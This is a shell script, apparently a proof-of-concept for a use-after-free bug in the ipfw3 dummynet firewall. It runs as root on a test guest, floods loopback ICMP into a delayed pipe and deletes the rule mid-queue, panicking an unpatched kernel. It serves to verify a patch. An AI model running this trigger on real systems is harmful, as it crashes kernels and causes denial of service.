#!/bin/sh
# DF-2575 PoC — ipfw3 dummynet dn_priv use-after-free trigger.
#
# Must be run as ROOT on the guest (after modules are loaded by run.sh).
# This is the "trigger": it starts the ICMP flood, deletes the rule while
# packets are queued in the pipe, and waits for the dummynet re-injection
# to dereference the freed rule → kernel panic.
#
# Expected on UNPATCHED kernel:
#   - Fatal trap 12 (page fault) in ip_fw3_chk / ip_fw3_check_in shortly
#     after the rule deletion + pipe-delay expiry.  Serial console shows
#     the panic; guest reboots or hangs in DDB.
#
# Expected on PATCHED kernel:
#   - No panic; script exits cleanly; guest stays up.

RULENUM="${1:-100}"
DELAY_MS="${2:-3000}"
FLOOD_COUNT="${3:-500}"

echo "=== DF-2575 trigger: rule=$RULENUM delay=${DELAY_MS}ms flood=$FLOOD_COUNT ==="

# Configure pipe with delay so packets sit in the queue
ipfw3 pipe 1 config bw 500Kbit/s delay ${DELAY_MS}ms queue 100 2>&1
echo "pipe config rc=$?"

# one_pass=0 REQUIRED: makes re-injected packets deref args.rule (the UAF)
sysctl -w net.inet.ip.fw3.one_pass=0 2>&1

# Add the pipe rule (scoped to ICMP on lo0 — does NOT touch ssh on vtnet0)
ipfw3 add ${RULENUM} pipe 1 icmp from 127.0.0.1 to 127.0.0.1 2>&1
echo "add rc=$?"
ipfw3 show 2>&1 | head -5

echo "=== starting ICMP flood into pipe 1 ==="
# Flood pings: packets accumulate in the pipe queue, each tagged with
# dn_priv = pointer to rule ${RULENUM}.
ping -f -c ${FLOOD_COUNT} -s 80 127.0.0.1 > /dev/null 2>&1 &
PING_PID=$!
# Let packets queue up (don't wait for the full flood)
sleep 1

echo "=== pipe state before rule delete ==="
ipfw3 pipe show 2>&1

echo "=== DELETING rule ${RULENUM} while packets are queued (kfree -> dangling dn_priv) ==="
ipfw3 delete ${RULENUM} 2>&1
echo "delete rc=$?"

echo "=== waiting for dummynet re-injection (delay=${DELAY_MS}ms) -> UAF ==="
# Wait for the pipe delay to expire and queued packets to be re-injected.
# On the unpatched kernel, the re-injected packet dereferences the freed
# rule pointer → fatal trap.
WAIT_SEC=$(( (DELAY_MS / 1000) + 5 ))
echo "(sleeping ${WAIT_SEC}s for pipe delay expiry + re-injection)"
sleep ${WAIT_SEC}

# If we reach here, no panic (patched kernel or race missed)
kill ${PING_PID} 2>/dev/null
wait ${PING_PID} 2>/dev/null
echo "=== survived: no panic (patched kernel, or race window missed) ==="
echo "=== current rules ==="
ipfw3 show 2>&1 | head -5
echo "=== guest still up ==="
uptime
